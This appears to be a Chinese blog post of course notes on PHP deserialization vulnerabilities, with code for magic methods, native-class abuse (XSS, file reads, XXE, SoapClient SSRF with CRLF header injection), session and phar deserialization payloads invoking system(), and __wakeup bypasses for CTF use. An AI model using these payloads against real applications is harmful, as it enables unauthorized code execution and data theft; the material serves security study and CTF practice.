几种反序列化漏洞

1.PHP魔术方法

复制代码
<?php
class c {
    private $name = 'hacker';
 
    function __construct() { // 构造方法,new时调用
        echo 'construct<br>';
    }
 
    function __serialize() { // 序列化时调用
        echo 'serialize<br>';
        return ['hack'];
    }
 
    function __unserialize($data) { // 反序列化时调用
        echo '__unserialize ';
        print_r($data);
        echo '<br>';
    }
 
    function __sleep() { // 序列化时调用,存在 __serialize 就不调用
        echo 'sleep<br>';
        return [];
    }
 
    function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用
        echo 'wakeup<br>';
    }
 
    function __debugInfo() { // 对对象使用 var_dump 时调用
        echo 'debugInfo ';
        return [];
    }
 
    function __clone() { // 对对象使用 clone 时调用
        echo '<br>clone<br>';
    }
 
    function __destruct() { // 析构方法,对象销毁时调用
        echo 'destruct<br>';
    }
 
    // 异常处理魔术方法
    function __get($name) { // 获取不存在或不可访问的变量时调用
        echo 'get '.$name.'<br>';
    }
 
    function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用
        echo 'set '.$name.' '.$value.'<br>';
    }
 
    function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
 
    function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用
        echo 'unset '.$name.'<br>';
    }
 
    function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用
        echo 'call '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用
        echo 'callStatic '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    function __toString() { // 对象被当作字符串使用时调用
        echo 'toString<br>';
        return '';
    }
 
    function __invoke() { // 对象被当作函数调用时调用
        echo 'invoke<br>';
        return '';
    }
}
 
// 创建对象
$c = new c();
var_dump($c);
clone $c;
 
// 序列化
$s = serialize($c);
echo $s.'<br><br>';
 
// 反序列化
$u = unserialize($s);
 
$u->pass;
$u->pass = 'hacker';
isset($u->name);
empty($u->name);
unset($u->name);
 
$u->function(1);
c::function(2);
$u::function(3);
 
echo $u;
$u.'';
$u();

2.PHP原生类

Error类

PHP>7.0,因为存在__toString,可以进行XSS

复制代码
echo new Error('<script>alert(1)</script>');

Exception类

因为存在__toString,可以进行XSS

复制代码
echo new Exception('<script>alert(1)</script>');

DirectoryIterator类

因为存在__toString,可以获取符合要求的第一个文件名

复制代码
echo new DirectoryIterator('glob://flag*');

SplFileObject类

因为存在__toString,可以读取文件内容

复制代码
echo new SplFileObject('/flag');

SimpleXMLElement

可以造成 xxe

xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)

复制代码
SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);

SoapClient类

因为存在__call,可以进行SSRF

phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启

复制代码
<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
 
$soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
$soap->function();

可以通过 NC 看构造的请求包

复制代码
POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
 
ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#function"
Content-Length: 394
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

3.特殊文件的反序列化

Session反序列化

php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";

当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}

当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:

先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}

复制代码
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';

再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化

复制代码
<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
session_start();

phar包反序列化

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

生成Payload

复制代码
<?php
class c{
    public $code = 'whoami';
}
 
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
 
$o = new c();
$phar->setMetadata($o);
$phar->addFromString('1.txt', '1');
$phar->stopBuffering();

访问进行反序列化

复制代码
<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
include('1.phar');

4.绕过

开头

数字

O:+1,PHP<7.2

O

复制代码
<?php
class c{
    public $code = 'whoami';
    function __wakeup() {
        system($this->code);
    }
}
 
// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';
 
// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';
 
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';
 
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

魔术方法

__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...

__destruct绕过,前面抛出异常

__destruct调用,结构错误,例:O:1:"c":1:{xxx}

5.CTF

private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制

数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}

要求俩值相等,this-\>a = \&this->b,这样b改了a也会一起改

看似反序列化的题结果静态函数不需要对象

字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html

相关推荐
用户9623779544817 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全